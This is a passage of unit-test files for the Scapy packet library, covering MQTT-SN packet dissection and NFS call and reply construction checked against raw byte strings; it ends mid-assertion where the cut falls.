MQTTSNWillMsgResp, packet dissection b = b"\x03\x1d\x02" p = MQTTSN(b) assert p.len == 3 assert p.type == WILLMSGRESP assert p.return_code == REJ_TID = MQTTSNEncaps, packet instantiation p = MQTTSN() / MQTTSNEncaps(radius=1, w_node_id="test") / MQTTSN() / \ MQTTSNConnack() assert p.len is None assert p.type == ENCAPS_MSG assert p.radius == 1 assert p.w_node_id == b"test" assert p.payload.payload.len is None assert p.payload.payload.type == CONNACK assert p.payload.payload.return_code == ACCEPTED b = bytes(p) p = MQTTSN(b) assert p.len == 7 assert p.type == ENCAPS_MSG assert p.radius == 1 assert p.w_node_id == b"test" assert p.return_code == ACCEPTED assert p.payload.payload.len == 3 assert p.payload.payload.type == CONNACK assert p.payload.payload.return_code == ACCEPTED = MQTTSNEncaps, packet dissection b = b"\x07\xfe\x02test\x03\x05\x00" p = MQTTSN(b) assert p.len == 7 assert p.type == ENCAPS_MSG assert p.radius == 2 assert p.w_node_id == b"test" assert p.payload.payload.len == 3 assert p.payload.payload.type == CONNACK assert p.payload.payload.return_code == ACCEPTED = MQTTSNEncaps, packet dissection -- long payload b = b"\x07\xfe\x02test" + b"\x01\x04\x64\x0c" + b"\x00\xb1\x39\xd7\x4a" + \ (1115 * b"X") p = MQTTSN(b) assert p.len == 7 assert p.type == ENCAPS_MSG assert p.radius == 2 assert p.w_node_id == b"test" assert p.payload.payload.len == 4 + 5 + 1115 == 0x0464 assert p.payload.payload.type == PUBLISH assert p.payload.payload.dup == 0 assert p.payload.payload.qos == QOS_0 assert p.payload.payload.retain == 0 assert p.payload.payload.will == 0 assert p.payload.payload.cleansess == 0 assert p.payload.payload.tid_type == TID_NORMAL assert p.payload.payload.tid == 0xb139 assert p.payload.payload.mid == 0xd74a assert p.payload.payload.data == 1115 * b"X" = MQTTSN without payload p = MQTTSN() assert bytes(p) == b"\x02\x00" = MQTTSN without payload -- invalid lengths p = MQTTSN(len=1) try: bytes(p) # expect Scapy_Exception assert false except Scapy_Exception: pass p = MQTTSN(len=0x10000) try: bytes(p) # expect Scapy_Exception assert false except Scapy_Exception: pass b = '\x01' try: p = MQTTSN(b) # expect Scapy_Exception assert false except Scapy_Exception: pass b = '\x01\x02' try: p = MQTTSN(b) # expect Scapy_Exception assert false except Scapy_Exception: pass = MQTT-SN RandVariableFieldLen assert type(MQTTSN().fieldtype["len"].randval()) == RandVariableFieldLen assert type(MQTTSN().fieldtype["len"].randval() + 0) == int = Disect full IPv6 packages ~ dport == 1883 (0x75b) b = b"\x60\x00\x00\x00\x00\x2c\x11\x40\x20\x01\x0d\xb8\x00\x00\x00\x00" \ b"\x17\x11\x6b\x10\x65\xf7\x5f\x0a\x20\x01\x0d\xb8\x00\x00\x00\x00" \ b"\x17\x11\x6b\x10\x65\xfd\xbe\x06\xc0\x00\x07\x5b\x00\x2c\x40\x7e" \ b"\x0b\x0a\0\0\x48\x8a/testing" p = IPv6(b) assert MQTTSNRegister in p ~ sport == 1883 (0x75b) b = b"\x60\x00\x00\x00\x00\x0f\x11\x40\x20\x01\x0d\xb8\x00\x00\x00\x00" \ b"\x17\x11\x6b\x10\x65\xfd\xbe\x06\x20\x01\x0d\xb8\x00\x00\x00\x00" \ b"\x17\x11\x6b\x10\x65\xf7\x5f\x0a\x07\x5b\xc0\x00\x00\x0f\x62\x7c" \ b"\x07\x0d\x00\x01\x86\x2f\x00" p = IPv6(b) assert MQTTSNPuback in p = UDP packet instantiation b = bytes(UDP() / MQTTSN() / MQTTSNConnack()) p = UDP(b) assert MQTTSNConnack in p assert p.sport == 1883 assert p.dport == 1883 ================================================ FILE: test/contrib/nfs.uts ================================================ % Tests for nfs module ############ ############ + Packet Creation Tests = Create subpackets Fattr3() File_Object() Object_Name() WCC_Attr() File_From_Dir_Plus() File_From_Dir() Sattr3() = Create NFS Calls NULL_Call() GETATTR_Call() SETATTR_Call() LOOKUP_Call() ACCESS_Call() READLINK_Call() READ_Call() WRITE_Call() CREATE_Call() MKDIR_Call() SYMLINK_Call() REMOVE_Call() RMDIR_Call() RENAME_Call() LINK_Call() READDIR_Call() READDIRPLUS_Call() FSSTAT_Call() FSINFO_Call() PATHCONF_Call() COMMIT_Call() = Create NFS Successful replies GETATTR_Reply(status=0) SETATTR_Reply(status=0) LOOKUP_Reply(status=0) ACCESS_Reply(status=0) READLINK_Reply(status=0) READ_Reply(status=0) WRITE_Reply(status=0) CREATE_Reply(status=0) MKDIR_Reply(status=0) SYMLINK_Reply(status=0) REMOVE_Reply(status=0) RMDIR_Reply(status=0) RENAME_Reply(status=0) LINK_Reply(status=0) READDIR_Reply(status=0) READDIRPLUS_Reply(status=0) FSSTAT_Reply(status=0) FSINFO_Reply(status=0) PATHCONF_Reply(status=0) COMMIT_Reply(status=0) = Create NFS Failed replies GETATTR_Reply(status=1) SETATTR_Reply(status=1) LOOKUP_Reply(status=1) ACCESS_Reply(status=1) READLINK_Reply(status=1) READ_Reply(status=1) WRITE_Reply(status=1) CREATE_Reply(status=1) MKDIR_Reply(status=1) SYMLINK_Reply(status=1) REMOVE_Reply(status=1) RMDIR_Reply(status=1) RENAME_Reply(status=1) LINK_Reply(status=1) READDIR_Reply(status=1) READDIRPLUS_Reply(status=1) FSSTAT_Reply(status=1) FSINFO_Reply(status=1) PATHCONF_Reply(status=1) COMMIT_Reply(status=1) + Test RPC Call layer bindings = Layer Bindings for NFS Calls from scapy.contrib.oncrpc import * pkt = RPC()/RPC_Call()/NULL_Call() assert (pkt.mtype, pkt.program, pkt.pversion, pkt.procedure) == (0, 100003, 3, 0) pkt = RPC()/RPC_Call()/GETATTR_Call() assert (pkt.mtype, pkt.program, pkt.pversion, pkt.procedure) == (0, 100003, 3, 1) pkt = RPC()/RPC_Call()/SETATTR_Call() assert (pkt.mtype, pkt.program, pkt.pversion, pkt.procedure) == (0, 100003, 3, 2) pkt = RPC()/RPC_Call()/LOOKUP_Call() assert (pkt.mtype, pkt.program, pkt.pversion, pkt.procedure) == (0, 100003, 3, 3) pkt = RPC()/RPC_Call()/ACCESS_Call() assert (pkt.mtype, pkt.program, pkt.pversion, pkt.procedure) == (0, 100003, 3, 4) pkt = RPC()/RPC_Call()/READLINK_Call() assert (pkt.mtype, pkt.program, pkt.pversion, pkt.procedure) == (0, 100003, 3, 5) pkt = RPC()/RPC_Call()/READ_Call() assert (pkt.mtype, pkt.program, pkt.pversion, pkt.procedure) == (0, 100003, 3, 6) pkt = RPC()/RPC_Call()/WRITE_Call() assert (pkt.mtype, pkt.program, pkt.pversion, pkt.procedure) == (0, 100003, 3, 7) pkt = RPC()/RPC_Call()/CREATE_Call() assert (pkt.mtype, pkt.program, pkt.pversion, pkt.procedure) == (0, 100003, 3, 8) pkt = RPC()/RPC_Call()/MKDIR_Call() assert (pkt.mtype, pkt.program, pkt.pversion, pkt.procedure) == (0, 100003, 3, 9) pkt = RPC()/RPC_Call()/SYMLINK_Call() assert (pkt.mtype, pkt.program, pkt.pversion, pkt.procedure) == (0, 100003, 3, 10) pkt = RPC()/RPC_Call()/REMOVE_Call() assert (pkt.mtype, pkt.program, pkt.pversion, pkt.procedure) == (0, 100003, 3, 12) pkt = RPC()/RPC_Call()/RMDIR_Call() assert (pkt.mtype, pkt.program, pkt.pversion, pkt.procedure) == (0, 100003, 3, 13) pkt = RPC()/RPC_Call()/RENAME_Call() assert (pkt.mtype, pkt.program, pkt.pversion, pkt.procedure) == (0, 100003, 3, 14) pkt = RPC()/RPC_Call()/LINK_Call() assert (pkt.mtype, pkt.program, pkt.pversion, pkt.procedure) == (0, 100003, 3, 15) pkt = RPC()/RPC_Call()/READDIR_Call() assert (pkt.mtype, pkt.program, pkt.pversion, pkt.procedure) == (0, 100003, 3, 16) pkt = RPC()/RPC_Call()/READDIRPLUS_Call() assert (pkt.mtype, pkt.program, pkt.pversion, pkt.procedure) == (0, 100003, 3, 17) pkt = RPC()/RPC_Call()/FSSTAT_Call() assert (pkt.mtype, pkt.program, pkt.pversion, pkt.procedure) == (0, 100003, 3, 18) pkt = RPC()/RPC_Call()/FSINFO_Call() assert (pkt.mtype, pkt.program, pkt.pversion, pkt.procedure) == (0, 100003, 3, 19) pkt = RPC()/RPC_Call()/PATHCONF_Call() assert (pkt.mtype, pkt.program, pkt.pversion, pkt.procedure) == (0, 100003, 3, 20) pkt = RPC()/RPC_Call()/COMMIT_Call() assert (pkt.mtype, pkt.program, pkt.pversion, pkt.procedure) == (0, 100003, 3, 21) = Layer Bindings for NFS Replies from scapy.contrib.oncrpc import * pkt = RPC()/RPC_Reply()/NULL_Reply() assert pkt.mtype==1 pkt = RPC()/RPC_Reply()/GETATTR_Reply() assert pkt.mtype==1 pkt = RPC()/RPC_Reply()/SETATTR_Reply() assert pkt.mtype==1 pkt = RPC()/RPC_Reply()/LOOKUP_Reply() assert pkt.mtype==1 pkt = RPC()/RPC_Reply()/ACCESS_Reply() assert pkt.mtype==1 pkt = RPC()/RPC_Reply()/READLINK_Reply() assert pkt.mtype==1 pkt = RPC()/RPC_Reply()/READ_Reply() assert pkt.mtype==1 pkt = RPC()/RPC_Reply()/WRITE_Reply() assert pkt.mtype==1 pkt = RPC()/RPC_Reply()/CREATE_Reply() assert pkt.mtype==1 pkt = RPC()/RPC_Reply()/MKDIR_Reply() assert pkt.mtype==1 pkt = RPC()/RPC_Reply()/SYMLINK_Reply() assert pkt.mtype==1 pkt = RPC()/RPC_Reply()/REMOVE_Reply() assert pkt.mtype==1 pkt = RPC()/RPC_Reply()/RMDIR_Reply() assert pkt.mtype==1 pkt = RPC()/RPC_Reply()/RENAME_Reply() assert pkt.mtype==1 pkt = RPC()/RPC_Reply()/LINK_Reply() assert pkt.mtype==1 pkt = RPC()/RPC_Reply()/READDIR_Reply() assert pkt.mtype==1 pkt = RPC()/RPC_Reply()/READDIRPLUS_Reply() assert pkt.mtype==1 pkt = RPC()/RPC_Reply()/FSSTAT_Reply() assert pkt.mtype==1 pkt = RPC()/RPC_Reply()/FSINFO_Reply() assert pkt.mtype==1 pkt = RPC()/RPC_Reply()/PATHCONF_Reply() assert pkt.mtype==1 pkt = RPC()/RPC_Reply()/COMMIT_Reply() assert pkt.mtype==1 + Test Built Packets Against Raw Strings = Built NFS Calls vs Raw Strings pkt = GETATTR_Call( filehandle=File_Object( length=4, fh='file' ) ) assert bytes(pkt) == b'\x00\x00\x00\x04file' pkt = LOOKUP_Call( dir=File_Object( length=3, fh='DIR', fill='\x00' ), filename=Object_Name( length=4, _name='File' ) ) assert bytes(pkt) == b'\x00\x00\x00\x03DIR\x00\x00\x00\x00\x04File' pkt = FSINFO_Call( filehandle=File_Object( length=4, fh='file' ) ) assert bytes(pkt) == b'\x00\x00\x00\x04file' pkt = PATHCONF_Call( filehandle=File_Object( length=4, fh='file' ) ) assert bytes(pkt) == b'\x00\x00\x00\x04file' pkt = ACCESS_Call( filehandle=File_Object( length=4, fh='file', ), check_access='READ' ) assert bytes(pkt) == b'\x00\x00\x00\x04file\x00\x00\x00\x01' pkt = READDIRPLUS_Call( filehandle=File_Object( length=4, fh='file' ), cookie=0xffffffffffffffff, verifier=0xaaaaaaaaaaaaaaaa, dircount=512, maxcount=4096 ) assert bytes(pkt) == b'\x00\x00\x00\x04file\xff\xff\xff\xff\xff\xff\xff\xff\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\x00\x00\x02\x00\x00\x00\x10\x00' pkt = WRITE_Call( filehandle=File_Object( length=4, fh='file', ), offset=0xffffffffffffffff, count=0xaaaaaaaa, stable='UNSTABLE', length=8, contents='\x00\x01\x02\x03\x04\x05\x06\x07' ) assert bytes(pkt) == b'\x00\x00\x00\x04file\xff\xff\xff\xff\xff\xff\xff\xff\xaa\xaa\xaa\xaa\x00\x00\x00\x00\x00\x00\x00\x08\x00\x01\x02\x03\x04\x05\x06\x07' pkt = COMMIT_Call( filehandle=File_Object( length=4, fh='file' ), offset=0xffffffffffffffff, count=0xaaaaaaaa ) assert bytes(pkt) == b'\x00\x00\x00\x04file\xff\xff\xff\xff\xff\xff\xff\xff\xaa\xaa\xaa\xaa' pkt = SETATTR_Call( filehandle=File_Object( length=4, fh='file' ), attributes=Sattr3( set_mode='SET', mode=0o755, set_uid='SET', uid=1, set_gid='SET', gid=1, set_size='SET', size=0xffffffffffffffff, set_atime='CLIENT TIME', atime_s=0xffffffff, atime_ns=0xffffffff, set_mtime='CLIENT TIME', mtime_s=0xaaaaaaaa, mtime_ns=0xaaaaaaaa ), check=0xffffffff ) assert bytes(pkt) == b'\x00\x00\x00\x04file\x00\x00\x00\x01\x00\x00\x01\xed\x00\x00\x00\x01\x00\x00\x00\x01\x00\x00\x00\x01\x00\x00\x00\x01\x00\x00\x00\x01\xff\xff\xff\xff\xff\xff\xff\xff\x00\x00\x00\x02\xff\xff\xff\xff\xff\xff\xff\xff\x00\x00\x00\x02\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xff\xff\xff\xff' pkt = FSSTAT_Call( filehandle=File_Object( length=4, fh='file' ) ) assert bytes(pkt) == b'\x00\x00\x00\x04file' pkt = CREATE_Call( dir=File_Object( length=3, fh='DIR', fill='\x00' ), filename=Object_Name( length=4, _name='File' ), create_mode='EXCLUSIVE', verifier=0xffffffffffffffff ) assert bytes(pkt) == b'\x00\x00\x00\x03DIR\x00\x00\x00\x00\x04File\x00\x00\x00\x02\xff\xff\xff\xff\xff\xff\xff\xff' pkt = REMOVE_Call( dir=File_Object( length=3, fh='DIR', fill='\x00' ), filename=Object_Name( length=4, _name='File' ) ) assert bytes(pkt) == b'\x00\x00\x00\x03DIR\x00\x00\x00\x00\x04File' pkt = READDIR_Call( filehandle=File_Object( length=4, fh='file' ), cookie=0xffffffffffffffff, verifier=0xaaaaaaaaaaaaaaaa, count=0xabcdef12 ) assert bytes(pkt) == b'\x00\x00\x00\x04file\xff\xff\xff\xff\xff\xff\xff\xff\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xab\xcd\xef\x12' pkt = RENAME_Call( dir_from=File_Object( length=8, fh='DIR_FROM' ), name_from=Object_Name( length=9, _name='NAME_FROM', fill='\x00\x00\x00' ), dir_to=File_Object( length=6, fh='DIR_TO', fill='\x00\x00' ), name_to=Object_Name( length=7, _name='NAME_TO', fill='\x00' ) ) assert bytes(pkt) == b'\x00\x00\x00\x08DIR_FROM\x00\x00\x00\tNAME_FROM\x00\x00\x00\x00\x00\x00\x06DIR_TO\x00\x00\x00\x00\x00\x07NAME_TO\x00' pkt = LINK_Call( filehandle=File_Object( length=4, fh='file' ), link_dir=File_Object( length=8, fh='LINK_DIR' ), link_name=Object_Name( length=9, _name='LINK_NAME', fill='\x00\x00\x00' ) ) assert bytes(pkt) == b'\x00\x00\x00\x04file\x00\x00\x00\x08LINK_DIR\x00\x00\x00\tLINK_NAME\x00\x00\x00' pkt = RMDIR_Call( dir=File_Object( length=3, fh='DIR', fill='\x00' ), filename=Object_Name( length=4, _name='File' ) ) assert bytes(pkt) == b'\x00\x00\x00\x03DIR\x00\x00\x00\x00\x04File' pkt = READLINK_Call( filehandle=File_Object( length=4, fh='file' ) ) assert bytes(pkt) == b'\x00\x00\x00\x04file' pkt = READ_Call( filehandle=File_Object( length=4, fh='file' ), offset=0xffffffffffffffff, count=0xaaaaaaaa ) assert bytes(pkt) == b'\x00\x00\x00\x04file\xff\xff\xff\xff\xff\xff\xff\xff\xaa\xaa\xaa\xaa' pkt = MKDIR_Call( dir=File_Object( length=3, fh='DIR', fill='\x00' ), dir_name=Object_Name( length=4, _name='DIR_NAME' ), attributes=Sattr3( set_mode='SET', mode=0o755, set_uid='SET', uid=1, set_gid='SET', gid=1, set_size='SET', size=0xffffffffffffffff, set_atime='CLIENT TIME', atime_s=0xffffffff, atime_ns=0xffffffff, set_mtime='CLIENT TIME', mtime_s=0xaaaaaaaa, mtime_ns=0xaaaaaaaa ) ) assert bytes(pkt) == b'\x00\x00\x00\x03DIR\x00\x00\x00\x00\x04DIR_NAME\x00\x00\x00\x01\x00\x00\x01\xed\x00\x00\x00\x01\x00\x00\x00\x01\x00\x00\x00\x01\x00\x00\x00\x01\x00\x00\x00\x01\xff\xff\xff\xff\xff\xff\xff\xff\x00\x00\x00\x02\xff\xff\xff\xff\xff\xff\xff\xff\x00\x00\x00\x02\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa' pkt = SYMLINK_Call( dir=File_Object( length=3, fh='DIR', fill='\x00' ), dir_name=Object_Name( length=4, _name='DIR_NAME' ), attributes=Sattr3( set_mode='SET', mode=0o755, set_uid='SET', uid=1, set_gid='SET', gid=1, set_size='SET', size=0xffffffffffffffff, set_atime='CLIENT TIME', atime_s=0xffffffff, atime_ns=0xffffffff, set_mtime='CLIENT TIME', mtime_s=0xaaaaaaaa, mtime_ns=0xaaaaaaaa ), link_name=Object_Name( length=9, _name='LINK_NAME', fill='\x00\x00\x00' ) ) assert bytes(pkt) == b'\x00\x00\x00\x03DIR\x00\x00\x00\x00\x04DIR_NAME\x00\x00\x00\x01\x00\x00\x01\xed\x00\x00\x00\x01\x00\x00\x00\x01\x00\x00\x00\x01\x00\x00\x00\x01\x00\x00\x00\x01\xff\xff\xff\xff\xff\xff\xff\xff\x00\x00\x00\x02\xff\xff\xff\xff\xff\xff\xff\xff\x00\x00\x00\x02\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\x00\x00\x00\tLINK_NAME\x00\x00\x00' = Built NFS Replies vs Raw Strings pkt = GETATTR_Reply( status=0, attributes=Fattr3( type='NF3DIR', mode=0o755, nlink=1, uid=2, gid=3, size=0xffffffffffffffff, used=0xaaaaaaaaaaaaaaaa, rdev=[4, 5], fsid=0xbbbbbbbbbbbbbbbb, fileid=0xcccccccccccccccc, atime_s=0xdddddddd, atime_ns=0xeeeeeeee, mtime_s=0xffffffff, mtime_ns=0x11111111, ctime_s=0x22222222, ctime_ns=0x33333333 ) ) assert bytes(pkt) == b'\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00\x01\xed\x00\x00\x00\x01\x00\x00\x00\x02\x00\x00\x00\x03\xff\xff\xff\xff\xff\xff\xff\xff\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\x00\x00\x00\x04\x00\x00\x00\x05\xbb\xbb\xbb\xbb\xbb\xbb\xbb\xbb\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xdd\xdd\xdd\xdd\xee\xee\xee\xee\xff\xff\xff\xff\x11\x11\x11\x11""""3333' pkt = LOOKUP_Reply( status='NFS3_OK', filehandle=File_Object( length=4, fh='file' ), af_file=1, file_attributes=Fattr3( type='NF3REG', mode=0o755, nlink=1, uid=2, gid=3, size=0xffffffffffffffff, used=0xaaaaaaaaaaaaaaaa, rdev=[4, 5], fsid=0xbbbbbbbbbbbbbbbb, fileid=0xcccccccccccccccc, atime_s=0xdddddddd, atime_ns=0xeeeeeeee, mtime_s=0xffffffff, mtime_ns=0x11111111, ctime_s=0x22222222, ctime_ns=0x33333333 ), af_dir=1, dir_attributes=Fattr3( type='NF3DIR', mode=0o755, nlink=1, uid=2, gid=3, size=0xffffffffffffffff, used=0xaaaaaaaaaaaaaaaa, rdev=[4, 5], fsid=0xbbbbbbbbbbbbbbbb, fileid=0xcccccccccccccccc, atime_s=0xdddddddd, atime_ns=0xeeeeeeee, mtime_s=0xffffffff, mtime_ns=0x11111111, ctime_s=0x22222222, ctime_ns=0x33333333 ) ) assert bytes(pkt) == b'\x00\x00\x00\x00\x00\x00\x00\x04file\x00\x00\x00\x01\x00\x00\x00\x01\x00\x00\x01\xed\x00\x00\x00\x01\x00\x00\x00\x02\x00\x00\x00\x03\xff\xff\xff\xff\xff\xff\xff\xff\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\x00\x00\x00\x04\x00\x00\x00\x05\xbb\xbb\xbb\xbb\xbb\xbb\xbb\xbb\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xdd\xdd\xdd\xdd\xee\xee\xee\xee\xff\xff\xff\xff\x11\x11\x11\x11""""3333\x00\x00\x00\x01\x00\x00\x00\x02\x00\x00\x01\xed\x00\x00\x00\x01\x00\x00\x00\x02\x00\x00\x00\x03\xff\xff\xff\xff\xff\xff\xff\xff\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\x00\x00\x00\x04\x00\x00\x00\x05\xbb\xbb\xbb\xbb\xbb\xbb\xbb\xbb\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xdd\xdd\xdd\xdd\xee\xee\xee\xee\xff\xff\xff\xff\x11\x11\x11\x11""""3333' pkt = FSINFO_Reply( status=0, attributes_follow=1, attributes=Fattr3( type='NF3REG', mode=0o755, nlink=1, uid=2, gid=3, size=0xffffffffffffffff, used=0xaaaaaaaaaaaaaaaa, rdev=[4, 5], fsid=0xbbbbbbbbbbbbbbbb, fileid=0xcccccccccccccccc, atime_s=0xdddddddd, atime_ns=0xeeeeeeee, mtime_s=0xffffffff, mtime_ns=0x11111111, ctime_s=0x22222222, ctime_ns=0x33333333 ), rtmax=1, rtpref=2, rtmult=3, wtmax=4, wtpref=5, wtmult=6, dtpref=7, maxfilesize=0xa, timedelta_s=0xb, timedelta_ns=0xc, properties=0xd ) assert bytes(pkt) == b'\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x01\x00\x00\x01\xed\x00\x00\x00\x01\x00\x00\x00\x02\x00\x00\x00\x03\xff\xff\xff\xff\xff\xff\xff\xff\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\x00\x00\x00\x04\x00\x00\x00\x05\xbb\xbb\xbb\xbb\xbb\xbb\xbb\xbb\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xdd\xdd\xdd\xdd\xee\xee\xee\xee\xff\xff\xff\xff\x11\x11\x11\x11""""3333\x00\x00\x00\x01\x00\x00\x00\x02\x00\x00\x00\x03\x00\x00\x00\x04\x00\x00\x00\x05\x00\x00\x00\x06\x00\x00\x00\x07\x00\x00\x00\x00\x00\x00\x00\n\x00\x00\x00\x0b\x00\x00\x00\x0c\x00\x00\x00\r' pkt = PATHCONF_Reply( status=0, attributes_follow=1, attributes=Fattr3( type='NF3DIR', mode=0o755, nlink=1, uid=2, gid=3, size=0xffffffffffffffff, used=0xaaaaaaaaaaaaaaaa, rdev=[4, 5], fsid=0xbbbbbbbbbbbbbbbb, fileid=0xcccccccccccccccc, atime_s=0xdddddddd, atime_ns=0xeeeeeeee, mtime_s=0xffffffff, mtime_ns=0x11111111, ctime_s=0x22222222, ctime_ns=0x33333333 ), linkmax=1, name_max=2, no_trunc='YES', chown_restricted='YES', case_insensitive='YES', case_preserving='YES' ) assert bytes(pkt) == b'\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x02\x00\x00\x01\xed\x00\x00\x00\x01\x00\x00\x00\x02\x00\x00\x00\x03\xff\xff\xff\xff\xff\xff\xff\xff\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\x00\x00\x00\x04\x00\x00\x00\x05\xbb\xbb\xbb\xbb\xbb\xbb\xbb\xbb\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xdd\xdd\xdd\xdd\xee\xee\xee\xee\xff\xff\xff\xff\x11\x11\x11\x11""""3333\x00\x00\x00\x01\x00\x00\x00\x02\x00\x00\x00\x01\x00\x00\x00\x01\x00\x00\x00\x01\x00\x00\x00\x01' pkt = ACCESS_Reply( status=0, attributes_follow=1, attributes=Fattr3( type='NF3REG', mode=0o755, nlink=1, uid=2, gid=3, size=0xffffffffffffffff, used=0xaaaaaaaaaaaaaaaa, rdev=[4, 5], fsid=0xbbbbbbbbbbbbbbbb, fileid=0xcccccccccccccccc, atime_s=0xdddddddd, atime_ns=0xeeeeeeee, mtime_s=0xffffffff, mtime_ns=0x11111111, ctime_s=0x22222222, ctime_ns=0x33333333 ), access_rights=10 ) assert bytes(pkt) == b'\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x01\x00\x00\x01\xed\x00\x00\x00\x01\x00\x00\x00\x02\x00\x00\x00\x03\xff\xff\xff\xff\xff\xff\xff\xff\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\x00\x00\x00\x04\x00\x00\x00\x05\xbb\xbb\xbb\xbb\xbb\xbb\xbb\xbb\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xdd\xdd\xdd\xdd\xee\xee\xee\xee\xff\xff\xff\xff\x11\x11\x11\x11""""3333\x00\x00\x00\n' pkt = READDIRPLUS_Reply(status=0, attributes_follow=1, attributes=Fattr3(type='NF3DIR', mode=0o755, nlink=1, uid=2, gid=3, size=0xffffffffffffffff, used=0xaaaaaaaaaaaaaaaa, rdev=[4, 5], fsid=0xbbbbbbbbbbbbbbbb, fileid=0xcccccccccccccccc, atime_s=0xdddddddd, atime_ns=0xeeeeeeee, mtime_s=0xffffffff, mtime_ns=0x11111111, ctime_s=0x22222222, ctime_ns=0x33333333), verifier=0xa, value_follows=1, files=[File_From_Dir_Plus(fileid=0xa, filename=Object_Name(length=5, _name='file1', fill='\x00\x00\x00'), cookie=0xb, attributes_follow=1, attributes=Fattr3(type='NF3REG', mode=0o755, nlink=1, uid=2, gid=3, size=0xffffffffffffffff, used=0xaaaaaaaaaaaaaaaa, rdev=[4, 5], fsid=0xbbbbbbbbbbbbbbbb, fileid=0xcccccccccccccccc, atime_s=0xdddddddd, atime_ns=0xeeeeeeee, mtime_s=0xffffffff, mtime_ns=0x11111111, ctime_s=0x22222222, ctime_ns=0x33333333), handle_follows=1, filehandle=File_Object(length=3, fh='fh1', fill='\x00'), value_follows=1), File_From_Dir_Plus(fileid=0xb, filename=Object_Name(length=5, _name='file2', fill='\x00\x00\x00'), cookie=0xc, attributes_follow=1, attributes=Fattr3(type='NF3REG', mode=0o755, nlink=1, uid=2, gid=3, size=0xffffffffffffffff, used=0xaaaaaaaaaaaaaaaa, rdev=[4, 5], fsid=0xbbbbbbbbbbbbbbbb, fileid=0xcccccccccccccccc, atime_s=0xdddddddd, atime_ns=0xeeeeeeee, mtime_s=0xffffffff, mtime_ns=0x11111111, ctime_s=0x22222222, ctime_ns=0x33333333), handle_follows=1, filehandle=File_Object(length=3, fh='fh2', fill='\x00'), value_follows=0) ], eof=1) assert bytes(pkt) == b'\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x02\x00\x00\x01\xed\x00\x00\x00\x01\x00\x00\x00\x02\x00\x00\x00\x03\xff\xff\xff\xff\xff\xff\xff\xff\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\x00\x00\x00\x04\x00\x00\x00\x05\xbb\xbb\xbb\xbb\xbb\xbb\xbb\xbb\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xdd\xdd\xdd\xdd\xee\xee\xee\xee\xff\xff\xff\xff\x11\x11\x11\x11""""3333\x00\x00\x00\x00\x00\x00\x00\n\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\n\x00\x00\x00\x05file1\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x0b\x00\x00\x00\x01\x00\x00\x00\x01\x00\x00\x01\xed\x00\x00\x00\x01\x00\x00\x00\x02\x00\x00\x00\x03\xff\xff\xff\xff\xff\xff\xff\xff\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\x00\x00\x00\x04\x00\x00\x00\x05\xbb\xbb\xbb\xbb\xbb\xbb\xbb\xbb\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xdd\xdd\xdd\xdd\xee\xee\xee\xee\xff\xff\xff\xff\x11\x11\x11\x11""""3333\x00\x00\x00\x01\x00\x00\x00\x03fh1\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x0b\x00\x00\x00\x05file2\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x0c\x00\x00\x00\x01\x00\x00\x00\x01\x00\x00\x01\xed\x00\x00\x00\x01\x00\x00\x00\x02\x00\x00\x00\x03\xff\xff\xff\xff\xff\xff\xff\xff\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\x00\x00\x00\x04\x00\x00\x00\x05\xbb\xbb\xbb\xbb\xbb\xbb\xbb\xbb\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xdd\xdd\xdd\xdd\xee\xee\xee\xee\xff\xff\xff\xff\x11\x11\x11\x11""""3333\x00\x00\x00\x01\x00\x00\x00\x03fh2\x00\x00\x00\x00\x00\x00\x00\x00\x01' pkt = WRITE_Reply( status=0, af_before=1, attributes_before=WCC_Attr( size=0xa, mtime_s=0xffffffff, mtime_ns=0xeeeeeeee, ctime_s=0xdddddddd, ctime_ns=0xcccccccc ), af_after=1, attributes_after=Fattr3( type='NF3REG', mode=0o755, nlink=1, uid=2, gid=3, size=0xffffffffffffffff, used=0xaaaaaaaaaaaaaaaa, rdev=[4, 5], fsid=0xbbbbbbbbbbbbbbbb, fileid=0xcccccccccccccccc, atime_s=0xdddddddd, atime_ns=0xeeeeeeee, mtime_s=0xffffffff, mtime_ns=0x11111111, ctime_s=0x22222222, ctime_ns=0x33333333 ), count=0xffffffff, committed='STABLE', verifier=0xffffffffffffffff ) assert bytes(pkt) == 